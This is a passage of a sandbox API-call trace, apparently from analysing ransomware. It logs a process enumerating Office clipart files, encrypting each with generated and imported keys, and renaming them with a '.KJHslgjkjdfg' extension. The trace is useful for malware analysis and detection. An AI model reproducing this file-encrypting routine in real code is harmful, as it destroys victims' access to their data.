ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1 [0161.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.614] GetProcessHeap () returned 0x2a0000 [0161.614] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.614] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.614] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.615] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.617] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.617] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.617] GetProcessHeap () returned 0x2a0000 [0161.617] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.617] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.617] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.617] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.617] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.617] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.617] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.617] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.617] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.617] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.617] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.617] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.617] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4cc8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4cc8, lpOverlapped=0x0) returned 1 [0161.619] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4cd0, dwBufLen=0x4cd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4cd0) returned 1 [0161.619] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.619] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4cd0, lpOverlapped=0x0) returned 1 [0161.619] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.619] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.619] SetEndOfFile (hFile=0x114) returned 1 [0161.622] GetProcessHeap () returned 0x2a0000 [0161.622] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.622] GetProcessHeap () returned 0x2a0000 [0161.622] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.kjhslgjkjdfg")) returned 1 [0161.623] CloseHandle (hObject=0x114) returned 1 [0161.624] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1 [0161.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.624] GetProcessHeap () returned 0x2a0000 [0161.624] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.624] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.624] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.624] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0161.626] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.626] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.626] GetProcessHeap () returned 0x2a0000 [0161.626] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.626] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.627] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.627] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.627] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.627] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.627] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.627] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.627] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.627] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.628] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.628] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.628] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5754, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5754, lpOverlapped=0x0) returned 1 [0161.629] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5760, dwBufLen=0x5760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5760) returned 1 [0161.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.629] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5760, lpOverlapped=0x0) returned 1 [0161.629] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.629] SetEndOfFile (hFile=0x114) returned 1 [0161.632] GetProcessHeap () returned 0x2a0000 [0161.632] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.632] GetProcessHeap () returned 0x2a0000 [0161.632] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.632] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.kjhslgjkjdfg")) returned 1 [0161.633] CloseHandle (hObject=0x114) returned 1 [0161.633] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1 [0161.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.634] GetProcessHeap () returned 0x2a0000 [0161.634] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.634] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.634] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.634] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0161.636] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.637] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.637] GetProcessHeap () returned 0x2a0000 [0161.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.637] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.637] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.637] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.637] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.637] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.637] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.637] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.637] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.637] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.637] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x55ba, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x55ba, lpOverlapped=0x0) returned 1 [0161.638] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x55c0, dwBufLen=0x55c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x55c0) returned 1 [0161.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.639] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x55c0, lpOverlapped=0x0) returned 1 [0161.639] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.639] SetEndOfFile (hFile=0x114) returned 1 [0161.641] GetProcessHeap () returned 0x2a0000 [0161.641] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.641] GetProcessHeap () returned 0x2a0000 [0161.641] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.kjhslgjkjdfg")) returned 1 [0161.643] CloseHandle (hObject=0x114) returned 1 [0161.643] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1 [0161.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.644] GetProcessHeap () returned 0x2a0000 [0161.644] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.644] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.644] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.644] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0161.646] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.646] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.646] GetProcessHeap () returned 0x2a0000 [0161.646] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.646] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.646] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.646] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.646] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.646] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.646] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.646] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.646] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.646] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.646] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc53a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc53a, lpOverlapped=0x0) returned 1 [0161.647] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc540, dwBufLen=0xc540 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc540) returned 1 [0161.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.648] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc540, lpOverlapped=0x0) returned 1 [0161.648] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.648] SetEndOfFile (hFile=0x114) returned 1 [0161.650] GetProcessHeap () returned 0x2a0000 [0161.650] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.651] GetProcessHeap () returned 0x2a0000 [0161.651] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.kjhslgjkjdfg")) returned 1 [0161.651] CloseHandle (hObject=0x114) returned 1 [0161.652] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1 [0161.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.653] GetProcessHeap () returned 0x2a0000 [0161.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.653] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.653] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.653] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0161.658] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.658] CryptSetKeyParam 